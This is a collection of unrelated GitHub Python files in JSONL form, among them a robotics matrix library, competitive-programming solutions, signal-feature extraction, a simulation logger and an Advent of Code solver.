__repr__(self):\n \"\"\"How represent RoboMAtrix. \"\"\"\n s=str(self.rows)\n rank = str(self.get_range())\n rep=\"RoboMatrix:\\\"%s\\\",range: \\\"%s\\\"\" % (s,rank)\n return rep\n\n def transpose(self):\n \"\"\" Return a transpose of the RoboMatrix\"\"\"\n m, n = self.n, self.m\n robomatrix = RoboMatrix(m, n)\n robomatrix.rows = [list(i) for i in zip(*self.rows)]\n return robomatrix\n \n def inverse_HM(self):\n \"\"\"Return inverse of the RoboMatrix\"\"\"\n pass\n \n def inverse_RM(self):\n \"\"\"Return inverse of rotation matrix \"\"\"\n if self.is_rotation_matrix:\n aux_mat=self.transpose()\n return aux_mat\n else:\n raise RoboMatrixError('Cannot give inverse_RM.')\n \n def get_range(self):\n \"\"\"Return range of the RoboMAtrix.\"\"\"\n return (self.m, self.n)\n\n def __eq__(self, robomatrix):\n \"\"\" Test equality. \"\"\"\n return (robomatrix.rows == self.rows)\n \n def __add__(self, robomatrix):\n \"\"\" Add a RoboMatrix to this RoboMatrix and\n return the new RoboMatrix.\"\"\" \n raise RoboMatrixError(\"No defined homogeneous matrix addition.\")\n\n def __sub__(self, robomatrix):\n \"\"\" Subtract a RoboMatrix from this RoboMatrix and\n return the new RoboMatrix.\"\"\"\n raise RoboMatrixError(\"No defined homogeneous matrix substraction.\")\n\n def __mul__(self, robomatrix):\n \"\"\" Multiple a RoboMatrix with this RoboMatrix and\n return the new RoboMatrix.\"\"\"\n \n robomatrixm, robomatrixn = robomatrix.get_range()\n \n if (self.n != robomatrixm):\n raise RoboMatrixError(\"RoboMatrix cannot be multipled!.\")\n \n robomatrix_t = robomatrix.transpose()\n mulrobomatrix = RoboMatrix(self.m, robomatrixn)\n \n for x in range(self.m):\n for y in range(robomatrix_t.m):\n mulrobomatrix[x][y] = sum([float(item[0])*float(item[1]) for \n item in zip(self.rows[x], robomatrix_t[y])])\n\n return mulrobomatrix\n \n def robomatrix_format_to_matlab_format(self):\n \"\"\"Give the RoboMatrix in MATLAB format.\n MATLAB format is like a list with rows separate by ; .\"\"\"\n A = '['\n for i in self.rows:\n for ii in i:\n A = A + str(ii) + ' '\n A = A[0:len(A) - 1]\n A = A + ';'\n A = A[0:len(A) - 1] + ']'\n return A \n \n def extract_ori(self):\n \"\"\"Extract the rotation part (3x3) of RoboMatrix like a list of lists.\"\"\"\n if self.is_homogeneous_matrix:\n aux=list()\n for i in self.rows[0:3]:\n aux.append(i[0:3])\n return aux\n\n def extract_pos(self):\n \"\"\"Extract the position part (3x3) of RoboMatrix like a list of lists.\"\"\"\n aux=list()\n if self.is_homogeneous_matrix():\n for i in self.rows[0:3]:\n aux.append(i[3])\n elif self.is_homogenous_vector():\n for i in self.rows[0:3]:\n aux.append(i[0])\n return aux\n \n def norm_of_vector(self):\n \"\"\"Give the vector norm. \"\"\"\n if self.is_vector :\n norm=0.0\n for i in self.rows:\n for ii in i:\n norm =ii*ii+norm\n return sqrt(norm)\n \n\n\n#Boolean Functions-----------------------------------------------------------\n#All boolean functions begin with is_\n def is_square(self):\n \"\"\"Check if Matrix is square.\"\"\"\n aux = False\n if self.m == self.n:\n aux = True\n return aux\n def is_homogeneous_matrix(self):\n \"\"\"Check if Matrix is homogenous.\"\"\"\n aux = False\n if ((self.m == 4) and (self.n == 4)):\n if self.rows[3] == [0.0,0.0,0.0,1.0]:\n aux = True\n return aux\n def is_homogenous_vector(self):\n \"\"\"Check if Vector is homogenous.\"\"\"\n aux = False\n if (self.m == 4 and self.n ==1):\n if self.rows[3] == [1]:\n aux = True\n if (self.m ==1 and self.n ==4):\n if self.rows[0][3]==1:\n aux =True\n return aux\n def is_rotation_matrix(self):\n \"\"\"Check if Matrix is a Rotation Matrix.\"\"\"\n #ya que A por inv(A) debe ser I osea transpost(A)=inverse(A)\n aux = False\n if (self.m ==3 and self.n ==3):\n aux1_mat=self.transpose()\n aux2_mat=self*aux1_mat\n aux3_mat=RoboMatrix.make_Id(3)\n if aux2_mat == aux3_mat:\n aux = True\n return aux\n def is_vector(self):\n \"\"\"Check if Vector is a vector.\"\"\"\n aux = False\n if ((self.m ==3 and self.n==1) or (self.m ==1 and self.n==3)):\n aux = True\n return aux\n\n#Class Methods-------------------------------------------------------------\n#All class methods begin with make_\n @classmethod\n def make_RoboMatrix(cls, rows):\n \"\"\"Make of RoboMatrix. \"\"\"\n m = len(rows)\n n = len(rows[0])\n # Validity check\n if any([len(row) != n for row in rows[1:]]):\n raise RoboMatrixError(\"Inconsistent row length.\")\n cls = RoboMatrix(m,n)\n cls.rows = rows\n return cls\n \n @classmethod\n def make_RandomMatrix(cls, m, n, low=1.0, high=100.0):\n \"\"\"Make a random RoboMatrix with elements in range (low-high).\"\"\" \n cls = RoboMatrix(m, n)\n for i in range(m):\n for ii in range(n):\n cls.rows[i][ii]= random.randrange(low, high)\n return cls\n\n\n @classmethod\n def make_Id(cls, m):\n \"\"\" Make identity RoboMatrix of rank (mxm). \"\"\"\n rows = [[0.0]*m for x in range(m)]\n idr = 0 \n for row in rows:\n row[idr] = 1\n idr = idr +1\n return cls.make_from_List(rows)\n \n @classmethod\n def make_from_List(cls, listoflists):\n \"\"\" Create a RoboMatrix by a list of lists. \"\"\"\n # Ej: RoboMatrix.make_from_List([[1 2 3], [4,5,6], [7,8,9]])\n rows = listoflists[:]\n return cls.make_RoboMatrix(rows)\n\n @classmethod \n def make_RoboMatrix_from_format_matlab(cls, ARG_string):\n \"\"\"Paso formato MATLAB al de lista de listas\"\"\"\n list_aux=ARG_string[1:-1].split(';') #quito los [ y separo por;\n lista1=[]\n for i in list_aux:\n lista2=[]\n for ii in i.split(' '):\n lista2.append(float(ii))\n lista1.append(lista2) \n #return lista1\n return cls.make_from_List(lista1)\n\n\n @classmethod\n def make_HM_from_ZYZ(cls,angle_z1, angle_y, angle_z2, px, py, pz,escala=1.0):\n \"\"\"Calculate a MH by ZYZ Euler angles.Angles in radians. \n Parameters:angle_z1, angle_y, angle_z2: Euler angles.\n px, py, pz: point coordinates.\n Important: First translate to point, next rotation.\"\"\"\n # REFERENCIA-BIBLIOGRAFIA:INTRODUCCION A LA ROBOTICA. PAG.87\n f1 = [round(cos(angle_z1)*cos(angle_y)*cos(angle_z2)-sin(angle_z1)*sin(angle_z2), 3),\n round(-cos(angle_z1) * cos(angle_y) * sin(angle_z2) - sin(angle_z1) * cos(angle_z2), 3),\n round(cos(angle_z1) * sin(angle_y), 3), px]\n f2 = [round(sin(angle_z1) * cos(angle_y) * cos(angle_z2) + cos(angle_z1) * sin(angle_z2), 3),\n round(-sin(angle_z1) * cos(angle_y) * sin(angle_z2) + cos(angle_z1) * cos(angle_z2), 3),\n round(sin(angle_z1) * sin(angle_y), 3), py]\n f3 = [round(-sin(angle_y) * cos(angle_z2), 3), round(sin(angle_y) * sin(angle_z2), 3), \n round(cos(angle_y), 2), pz]\n f4 = [0.0, 0.0, 0.0, escala]\n aux = [f1, f2, f3, f4] #matriz de lista de listas (por filas)\n return cls.make_from_List(aux)\n\n @classmethod\n def make_HM_from_ZXZ(cls,angle_z1, angle_x, angle_z2, px, py, pz,escala=1.0):\n \"\"\"Calculate a MH by ZXZ Euler angles.Angles in radians.\n Parameters:angle_z1, angle_x, angle_z2:Euler angles.\n px, py, pz:point coordinates.\n Important: First translate to point, next rotation.\"\"\" \n f1 = [round(cos(angle_z1) * cos(angle_z2) - sin(angle_z1) * cos(angle_x) * sin(angle_z2), 3),\n round(-cos(angle_z1)* sin(angle_z2) - sin(angle_z1) *cos(angle_x)* cos(angle_z2), 3),\n round(cos(angle_z1) * sin(angle_x), 3), px] \n f2 = [round(sin(angle_z1) * cos(angle_z2) + cos(angle_z1) *cos(angle_x)* sin(angle_z2), 3),\n round(-sin(angle_z1) * sin(angle_z2) + cos(angle_z1) *cos(angle_x)* cos(angle_z2), 3),\n round(-sin(angle_z1) * sin(angle_x), 3), py] \n f3 = [round(sin(angle_x) * cos(angle_z2), 3), round(sin(angle_x) * cos(angle_z2), 3), \n round(cos(angle_x), 3), pz]\n f4 = [0.0, 0.0, 0.0, escala]\n aux = [f1, f2, f3, f4] #matriz de lista de listas (por filas)\n return cls.make_from_List(aux)\n \n @classmethod\n def make_HM_from_RPY(cls,x, y, z, px, py, pz,escala=1.0):\n \"\"\"Calculate a MH by Euler angles Roll-Pitch-Yaw.Angles in radians. \n Parameters:roll, pitch, yaw :Euler angles.\n px, py, pz: point coordinates.\n Important: First translate to point, next rotation.\"\"\" \n f1 = [round(cos(z) * cos(y) , 3),round(cos(z)* sin(y)*sin(x) - sin(z) *cos(x), 3),\n round(cos(z) * sin(y)*cos(x)+sin(z)*sin(x), 3), px] \n f2 = [round(sin(z) * cos(y), 3),\n round(sin(z) * sin(y)*sin(x) + cos(z) *cos(x), 3),\n round(sin(z) *sin(y)* cos(x)-cos(z)*sin(x), 3), py] \n f3 = [round(sin(y), 3), round(cos(y) * sin(x), 3), \n round(cos(y)*cos(x), 3), pz]\n f4 = [0.0, 0.0, 0.0, escala]\n aux = [f1, f2, f3, f4] #matriz de lista de listas (por filas)\n return cls.make_from_List(aux)\n \n @classmethod #Creo que hay que poner en estas que sean 4X4-------------------\n def make_RM_around_X(cls,angle):\n \"\"\"Make a Rotation Matrix around X axis of angle.\"\"\"\n aux = [[1.0,0.0,0.0],[0.0,cos(angle),-sin(angle)],\n [0.0,sin(angle),cos(angle)]]\n return cls.make_from_List(aux)\n\n @classmethod \n def make_RM_around_Y(cls,angle):\n \"\"\"Make a Rotation Matrix around Y axis of angle.\"\"\"\n aux = [[cos(angle),0.0,sin(angle)],[0.0,1.0,0.0],\n [-sin(angle),1.0,cos(angle)]]\n return cls.make_from_List(aux)\n\n @classmethod \n def make_RM_around_Z(cls,angle):\n \"\"\"Make a Rotation Matrix around Z axis of angle.\"\"\"\n aux = [[cos(angle),-sin(angle),0.0],[sin(angle),cos(angle),0.0],\n [0.0,0.0,1.0]]\n return cls.make_from_List(aux)\n\n @classmethod\n def make_RM_around_AXIS(cls,vector,angle):\n \"\"\"Make a Rotation Matrix around an axis (x,y,z).\"\"\"\n if vector.is_vector():\n if vector.norm_of_vector() == 1.0:\n pass\n pass\n \n \n \n \n \n \n \n \n \n \n \n","repo_name":"arturosa67/XML_Definir_trayectorias_Robot","sub_path":"libreria-robotics-python/Version2/RM.py","file_name":"RM.py","file_ext":"py","file_size_in_byte":13835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30150320141","text":"from collections import defaultdict\n\n\ndef solve(n,m, grid):\n color_to_loc = defaultdict(list)\n for nrow, row in enumerate(grid):\n for ncol, x in enumerate(row):\n color_to_loc[x].append((nrow, ncol))\n\n # solve x\n tot=0\n for c in color_to_loc:\n onedim = [point[0] for point in color_to_loc[c]]\n tot+= count_one_dim(onedim)\n for c in color_to_loc:\n onedim = [point[1] for point in color_to_loc[c]]\n tot+= count_one_dim(onedim)\n return tot\n\ndef count_one_dim(onedim):\n onedim.sort()\n sumall = sum(onedim)\n nrpoints = len(onedim)\n this_tot = 0\n for i,x in enumerate(onedim):\n this_tot += max(0, sumall - nrpoints*x)\n nrpoints -= 1\n sumall -= x\n return this_tot\nimport os\nimport io\n# import time\n# a=time.time()\nif __name__ == \"__main__\":\n input = io.BytesIO(os.read(0, os.fstat(0).st_size)).readline\n\n\n\n n,m = [int(x) for x in input().decode().strip().split()]\n grid = []\n for i in range(n):\n row = [int(x) for x in input().decode().strip().split()]\n grid.append(row)\n\n res=solve(n,m, grid)\n print(res)\n","repo_name":"jano31415/codejam","sub_path":"codeforces/775_round_div2/probc.py","file_name":"probc.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34400910288","text":"import glob, os\nfrom scipy.stats import skew, kurtosis\nimport numpy as np\nimport pandas as pd\nimport math\nimport pdb\n\n\n# 다변량 추출\ndef fft_t_sum_(raw):\n col_p_to_p = []\n col_rms = []\n col_std = []\n col_mean = []\n col_skew = []\n col_var = []\n col_kurt = []\n col_len = []\n # fft 변환\n fft = []\n for i in range(len(raw)):\n\n fmax = 8000 # sampling frequency 1000 Hz\n dt = 0.01 # sampling period\n N = 16000 # length of signal\n\n # Fourier spectrum\n xf = np.fft.fft(raw[i])\n frequency_raw =np.abs(xf[60:int(N / 2 + 1)])\n fft.append(frequency_raw)\n\n # rms 변환\n rms_result = rms(raw[i])\n # 값 저장\n p_to_p = max(raw[i]) - min(raw[i])\n std = np.std(frequency_raw)\n mean = np.mean(frequency_raw)\n skew_ = skew(frequency_raw)\n var = np.var(frequency_raw)\n kurt = kurtosis(frequency_raw)\n col_p_to_p.append(p_to_p)\n col_rms.append(rms_result)\n col_std.append(std)\n col_mean.append(mean)\n col_skew.append(skew_)\n col_var.append(var)\n col_kurt.append(kurt)\n col_len.append(len(frequency_raw))\n\n # pandas t_sum 정리\n t_sum_raw = pd.DataFrame({\n 'p_to_p': col_p_to_p,\n 'rms': col_rms,\n 'Std': col_std,\n 'Mean': col_mean,\n 'Skew': col_skew,\n # 'Var': col_var,\n 'kurt': col_kurt,\n 'len': col_len,\n })\n fft = pd.DataFrame(fft)\n return fft\n\n\n# rms 값 확인\ndef rms(data):\n squre = 0.0\n root = 0.0\n mean = 0.0\n\n # Calculating squre\n for i in range(len(data)):\n squre += (data[i] ** 2)\n # Calculating Mean\n mean = squre / len(data)\n # Calculating Root\n rms_result = math.sqrt(mean)\n\n return rms_result\n","repo_name":"kangbyounggwan/Produce_Model","sub_path":"test_preprocesing.py","file_name":"test_preprocesing.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34796910373","text":"\nclass Logger(object):\n def __init__(self, file_name):\n self.file_name = file_name\n self.int_file_name = \"interaction:\" + self.file_name\n # TODO: Finish this initialization method. The file_name passed should be the\n # full file name of the file that the logs will be written to.\n \n\n # The methods below are just suggestions. You can rearrange these or \n # rewrite them to better suit your code style. \n # What is important is that you log the following information from the simulation:\n # Meta data: This shows the starting situtation including:\n # population, initial infected, the virus, and the initial vaccinated.\n # Log interactions. At each step there will be a number of interaction\n # You should log:\n # The number of interactions, the number of new infections that occured\n # You should log the results of each step. This should inlcude: \n # The population size, the number of living, the number of dead, and the number \n # of vaccinated people at that step. \n # When the simulation concludes you should log the results of the simulation. \n # This should include: \n # The population size, the number of living, the number of dead, the number \n # of vaccinated, and the number of steps to reach the end of the simulation. \n\n def write_metadata(self, pop_size, vacc_percentage, virus_name, mortality_rate,\n basic_repro_num, initial_infected, date):\n f = open(self.file_name, \"w\")\n f.write(f\"# IMMUNITY SIMULATION SUMMARY FOR {virus_name.upper()}\\n\\n\")\n f.write(\"## Simulation Base Information:\\n\")\n f.write(f\"### DATE: {date}\\n\")\n f.write(f\"+ Population: {pop_size}\\n\")\n f.write(f\"+ Percent Population Vaccinated: {vacc_percentage}%\\n\")\n f.write(f\"+ Initial Infected: {initial_infected}\\n\")\n f.write(f\"+ Virus Name: {virus_name}\\n\")\n f.write(f\"+ Virus Mortality Rate: {mortality_rate}%\\n\")\n f.write(f\"+ Virus Reproduction Rate: {basic_repro_num}%\\n\")\n f.close()\n\n def start_interaction_log(self):\n f = open(self.int_file_name, \"w\")\n\n \n def log_interactions(self, step_number, number_of_interactions, number_of_new_infections):\n f = open(\"interaction.txt\", \"a\")\n f.write(f\"Did this work?\\n\")\n f.write(f\"+ Population Alive : \\n\")\n f.write(f\"+ Population Infected : \\n\")\n f.write(f\"+ Population Dead : \\n\")\n f.close()\n \n # TODO: Finish this method. Think about how the booleans passed (or not passed)\n # represent all the possible edge cases. Use the values passed along with each person,\n # along with whether they are sick or vaccinated when they interact to determine\n # exactly what happened in the interaction and create a String, and write to your logfile.\n\n def log_infection_survival(self, step_number, population_count, number_of_new_fatalities):\n # TODO: Finish this method. If the person survives, did_die_from_infection\n # should be False. Otherwise, did_die_from_infection should be True.\n # Append the results of the infection to the logfile\n pass\n\n def log_time_step(self, time_step_counter, population_alive, population_infected, population_dead):\n f = open(self.file_name, \"a\")\n f.write(f\"### Iteration : {time_step_counter}\\n\")\n f.write(f\"+ Population Alive : {population_alive}\\n\")\n f.write(f\"+ Population Infected : {population_infected}\\n\")\n f.write(f\"+ Population Dead : {population_dead}\\n\")\n f.close()\n\n def log_create_population(self, vaccinated, unvaccinated, infected, total):\n f = open(self.file_name, \"a\")\n f.write(f\"### Population Build Check\\n\")\n f.write(f\"```diff\\n\")\n f.write(f\"@@ Population Created @@\\n\")\n f.write(f\"+ Vaccinated : {vaccinated}\\n\")\n f.write(f\"+ Unvaccinated : {unvaccinated}\\n\")\n f.write(f\"+ Infected : {infected}\\n\")\n f.write(f\"+ Total : {total}\\n\")\n f.write(f\"```\\n\")\n f.close()\n \n def log_simulation_should_continue(self, time_step, interactions, check_dead, change_dead, check_vac, change_vac, \n check_alive, change_alive, check_infected, change_infected):\n f = open(self.file_name, \"a\")\n f.write(f\"### Iteration Number : {time_step}\\n\")\n f.write(f\"```diff\\n\")\n f.write(f\"@@ Statistics @@\\n\")\n f.write(f\"! Interactions : {interactions}\\n\")\n f.write(f\"+ Alive : {check_alive} | Percent Change: {change_alive}\\n\")\n f.write(f\"+ Vaccinated : {check_vac} | Percent Change: {change_vac}\\n\")\n f.write(f\"! Infected : {check_infected} | Percent Change: {change_infected}\\n\")\n f.write(f\"- Dead : {check_dead} | Percent Change: {change_dead}\\n\")\n f.write(f\"```\\n\")\n f.close()\n\n def log_final(self, total_interactions, vaccine_saves, end_reason):\n f = open(self.file_name, \"a\")\n f.write(f\"```diff\\n\")\n f.write(f\"@@ Final Numbers @@\\n\")\n f.write(f\"! Interactions : {total_interactions}\\n\")\n f.write(f\"+ Total Vaccine Saves : {vaccine_saves}\\n\")\n f.write(f\"+ Reason for Simulation End: {end_reason}\\n\")\n f.write(f\"```\\n\")\n f.close()\n\n def log_newly_infected(self, newly_infected):\n f = open(self.file_name, \"a\")\n f.write(f\"```diff\\n\")\n f.write(f\"! Infect Newly Infected !\\n\")\n f.write(f\"+ Newly Infected : {newly_infected}\\n\")\n f.write(f\"```\\n\")\n f.close()\n","repo_name":"EvilGenius13/ACS-1111-HerdImmunity","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":5538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7159261358","text":"#This library will extract data from the Nicolet binary file\n#for a specified event.\n#The event is supplied as a timestamp that was extracted\n#from the human scoring xlsx using EEGUtils\n#The timestamps are pulled from the AWS MySQL table\n#The data is returned as an array\n\nimport array\nimport struct\n\nclass Nicolet:\n\tdef __init__(self, filename):\n\t\tself.f = open(filename, 'rb')\n\t\tself.header = array.array('c', '\\0' * 2000)\n\n\n#Random notes\n\n\nbuff = array.array('c', '\\0' * len(header))\n\nfor i in range(len(header)):\n\tstruct.pack_into('<c', buff, i, header[i])\n\n","repo_name":"charles-e-hall/AutomatedSeizureDetection","sub_path":"NicoletReader.py","file_name":"NicoletReader.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6070013013","text":"#\n# @lc app=leetcode id=3 lang=python3\n#\n# [3] Longest Substring Without Repeating Characters\n#\n\n# @lc code=start\nclass Solution:\n # O(2n) and O(n)\n def lengthOfLongestSubstring(self, s: str) -> int:\n curr_set = set()\n lo = hi = max_len = 0\n while hi < len(s):\n if s[hi] not in curr_set:\n hi += 1\n curr_set.add(s[hi])\n max_len = max(max_len, hi - lo)\n else:\n curr_set.remove(s[lo])\n lo += 1\n return max_len\n\n # Optimized\n def lengthOfLongestSubstring(self, s: str) -> int:\n repeated = dict()\n lo = max_len = 0\n for j, letter in enumerate(s):\n if letter in repeated and lo <= repeated[letter]:\n lo = repeated[letter] + 1\n else:\n max_len = max(max_len, j + 1 - lo)\n repeated[letter] = j\n return max_len\n# @lc code=end\n\n","repo_name":"mingaki/leetcode","sub_path":"3.longest-substring-without-repeating-characters.py","file_name":"3.longest-substring-without-repeating-characters.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31546535146","text":"def xtime(x) : \n return (\n (x<<1) ^ ( ( (x>>7) & 1 ) * 0x1b )\n )\nfor i in range(40) :\n print(\"xtime(\",i,\") :\",xtime(i))\na = xtime(10)\nprint(a)\nprint(\"*\"*500)\nres = 0\nfor i in range(500) :\n if i*2 == xtime(i) :\n res += 1\n else :\n print(\"xtime(\",i,\") :\",xtime(i),i*2,xtime(i)-(i*2))\nprint(res)\nprint(\"*\"*500)\n\nfor i in range(10) :\n print((2**i),\"\\t\",xtime(2**i),end=\"\\t\")\n if ((2**i)*2) == xtime(2**i) :\n print()\n else :\n print(xtime(2**i)-((2**i)*2))","repo_name":"ghdwpaks/AES","sub_path":"DEC/util/4dev_util.py","file_name":"4dev_util.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72623605912","text":"ans = 0\nT = int(input())\nnumbers = list(map(int, input().split()))\nfor n in numbers:\n if n == 1:\n continue\n for j in range(2, n):\n if n % j == 0:\n break\n else:\n ans += 1\nprint(ans)","repo_name":"Leeyounwoo/Algorithm","sub_path":"BAEKJOON/단계별로 풀기/09. 기본 수학 2/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3518714983","text":"import pyproj\nfrom shapely.geometry import Point, Polygon\nfrom geopy import distance as dis\n\nclass Cell_sector:\n\n def __init__(self,sector_cell_name,azimuth,lat,long,neighbors):\n\n self.sector_cell_name = sector_cell_name\n self.site_name = sector_cell_name[:-3]\n self.azimuth = int(azimuth)\n self.point = Point(float(lat),float(long))\n self.neighbors = neighbors.copy()\n self.farthest_distance = self.get_farthest_distance() * 1000\n self.polygon = self.get_polygon()\n\n def get_polygon(self):\n\n distance = self.farthest_distance * 1.3\n beam = 45\n az1 = self.azimuth - beam\n if az1 < 0: az1 = az1 + 360\n az2 = self.azimuth + beam\n if az2 < 0: az2 = az2 + 360\n long1, lat1, backAzimuth = pyproj.Geod(ellps='WGS84').fwd(self.point.y, self.point.x, az1, distance)\n long2, lat2, backAzimuth = pyproj.Geod(ellps='WGS84').fwd(self.point.y, self.point.x, az2, distance)\n\n lon_point_list = [self.point.y, long1, long2]\n lat_point_list = [self.point.x, lat1, lat2]\n\n return Polygon(list(zip(lat_point_list, lon_point_list)))\n\n def folium_polygon(self):\n distance = 100\n beam = 45\n az1 = self.azimuth - beam\n if az1 < 0: az1 = az1 + 360\n az2 = self.azimuth + beam\n if az2 < 0: az2 = az2 + 360\n long1, lat1, backAzimuth = pyproj.Geod(ellps='WGS84').fwd(self.point.y, self.point.x, az1, distance)\n long2, lat2, backAzimuth = pyproj.Geod(ellps='WGS84').fwd(self.point.y, self.point.x, az2, distance)\n\n lon_point_list = [self.point.y, long1, long2]\n lat_point_list = [self.point.x, lat1, lat2]\n\n return list(zip(lat_point_list, lon_point_list))\n\n def get_inverse_polygon(self,azimuth):\n\n distance = self.farthest_distance * 1.3\n beam = 45\n az1 = azimuth - beam\n if az1 < 0: az1 = az1 + 360\n az2 = azimuth + beam\n if az2 < 0: az2 = az2 + 360\n long1, lat1, backAzimuth = pyproj.Geod(ellps='WGS84').fwd(self.point.y, self.point.x, az1, distance)\n long2, lat2, backAzimuth = pyproj.Geod(ellps='WGS84').fwd(self.point.y, self.point.x, az2, distance)\n\n lon_point_list = [self.point.y, long1, long2]\n lat_point_list = [self.point.x, lat1, lat2]\n\n return Polygon(list(zip(lat_point_list, lon_point_list)))\n\n def get_farthest_distance(self):\n farthest_distance = 0\n for key, value in self.neighbors.items():\n distance = dis.distance((self.point.x,self.point.y), (value[0].x,value[0].y)).km\n if distance > farthest_distance:\n farthest_distance = distance\n return farthest_distance\n\n def cell_sector_infos(self):\n print(\"sector_cell_name =\", self.sector_cell_name )\n print(\"site_name = \",self.site_name )\n print(\"azimuth = \", self.azimuth)\n print(\"point = \", self.point)\n print(\"neighbors =\", self.neighbors)\n print(\"polygon =\", self.polygon)\n print(\"farthest_distance =\", self.farthest_distance,\"\\n\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"walid-kbb/geographic_CFD","sub_path":"Cell_sector.py","file_name":"Cell_sector.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33768598794","text":"import pickle\r\nimport csv\r\nimport random\r\nimport sys\r\n\r\nfrom MaximallyConfusableSubsets_Deidentified import *\r\nfrom approximateMultialign import *\r\nfrom itertools import combinations\r\n\r\n##Given a set of forms, returns all possible themes for that set\r\ndef ExtractThemesforSet(s):\r\n pairwisethemes = set()\r\n for i in range(len(s)-1):\r\n for j in range(i+1, len(s)):\r\n pthemes = GetPairwiseThemes(s[i], s[j])\r\n for p in pthemes:\r\n pairwisethemes.add(p)\r\n \r\n possiblethemes = set()\r\n newthemes = pairwisethemes\r\n while newthemes:\r\n usefulpairs = combinations(newthemes, 2)\r\n possiblethemes.update(newthemes)\r\n newthemes = set()\r\n for a, b in usefulpairs:\r\n pairthemes = GetPairwiseThemes(a, b)\r\n for t in pairthemes:\r\n if t not in possiblethemes:\r\n newthemes.add(t)\r\n \r\n themes = set()\r\n for p in possiblethemes:\r\n flag = False\r\n for form in s:\r\n if CheckThemeValidity(p, form)==False:\r\n flag = True\r\n \r\n if flag==False:\r\n themes.add(p)\r\n \r\n return(themes)\r\n\r\n\r\ndef GetDists(mcsets, rows):\r\n mcsets_list = list(mcsets)\r\n \r\n for m in range(len(mcsets)):\r\n for r in range(len(rows)):\r\n forms = []\r\n dists = []\r\n for col_ix in mcsets_list[m]:\r\n forms.append(rows[r][col_ix])\r\n \r\n theme_options = ExtractThemesforSet(forms)\r\n theme = ''.join(random.sample(theme_options, 1))\r\n \r\n for f in forms:\r\n d = GetDistinguishers(theme, f)\r\n dists.append(''.join(random.sample(d, 1)))\r\n \r\n e = approximateMultialign(dists)\r\n \r\n yield(mcsets_list[m],r,e)\r\n \r\n \r\n\r\n#User must provide plat as a .csv file and deidentified mcsets as a .dump file\r\nif __name__ == \"__main__\":\r\n file = sys.argv[1]\r\n\r\n with open(file, encoding=\"utf8\") as csvfile:\r\n csvreader = csv.reader(csvfile, delimiter=',')\r\n next(csvreader, None)\r\n rows = list(csvreader)\r\n \r\n mcsets = pickle.load(open(sys.argv[2], \"rb\"))\r\n dists = GetDists(mcsets, rows)\r\n \r\n #print(list(dists)) \r\n pickle.dump(list(dists), open(\"deidentified_dists.dump\", \"wb\"))\r\n \r\n \r\n \r\n","repo_name":"gracelefevre/paradigm-shape","sub_path":"Code/ExtractDeidentifiedDists.py","file_name":"ExtractDeidentifiedDists.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"7063158516","text":"import re\n\n\nscreen = [[0 for x in range(50)] for x in range(6)]\n\n\ndef rect(dimens):\n for column in range(int(dimens[0])):\n for row in range(int(dimens[1])):\n screen[row][column] = 1\n\n\ndef rotate_row(row, count):\n temp = [0 for x in range(50)]\n for i, v in enumerate(screen[row]):\n new_pos = i + count if i + count < 50 else i + count - 50\n temp[new_pos] = v\n screen[row] = temp\n\n\ndef rotate_col(col, count):\n temp = [0 for x in range(6)]\n for i in range(6):\n new_pos = i + count if i + count < 6 else i + count - 6\n temp[new_pos] = screen[i][col]\n for i in range(6):\n screen[i][col] = temp[i]\n\nwith open(\"day8_input.txt\", \"r\") as input_file:\n dimens_rex = r'(\\d+)x(\\d+)'\n rotate_rex = r'=(\\d+) by (\\d+)'\n for line in input_file:\n if 'rect' in line:\n dimens = re.findall(dimens_rex, line)\n rect(dimens[0])\n elif 'row' in line:\n matches = re.findall(rotate_rex, line)\n rotate_row(int(matches[0][0]), int(matches[0][1]))\n elif 'column' in line:\n matches = re.findall(rotate_rex, line)\n rotate_col(int(matches[0][0]), int(matches[0][1]))\n\ncount = sum([x for row in screen for x in row])\nprint(screen)\nprint(count)\n","repo_name":"LeoLamCY/AdventOfCode","sub_path":"day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72336922393","text":"def update_row_lst(temp_lst, index, accountId, not_assigned):\n if(temp_lst[index] != None):\n not_assigned.append(accountId)\n else:\n temp_lst[index] = accountId\n return not_assigned, temp_lst\n\n\ndef append_match_info_lst(team_id, info_lst, match_id, match):\n temp_lst = [None] * len(info_lst[0])\n temp_lst[0] = match_id\n temp_lst[1] = team_id\n if team_id == 100:\n temp_lst[7] = match[\"teams\"][0]['win']\n elif team_id == 200:\n temp_lst[7] = match[\"teams\"][1]['win']\n\n not_assigned = []\n for par_info, acc_info in zip(match[\"participants\"], match['participantIdentities']):\n accountId = acc_info['player']['accountId']\n if par_info['teamId'] == team_id:\n if par_info['timeline']['lane'] == 'BOTTOM':\n if par_info['timeline']['role'] == \"DUO_SUPPORT\":\n not_assigned, temp_lst = update_row_lst(\n temp_lst, 2, accountId, not_assigned)\n else:\n not_assigned, temp_lst = update_row_lst(\n temp_lst, 3, accountId, not_assigned)\n elif par_info['timeline']['lane'] == 'MIDDLE':\n not_assigned, temp_lst = 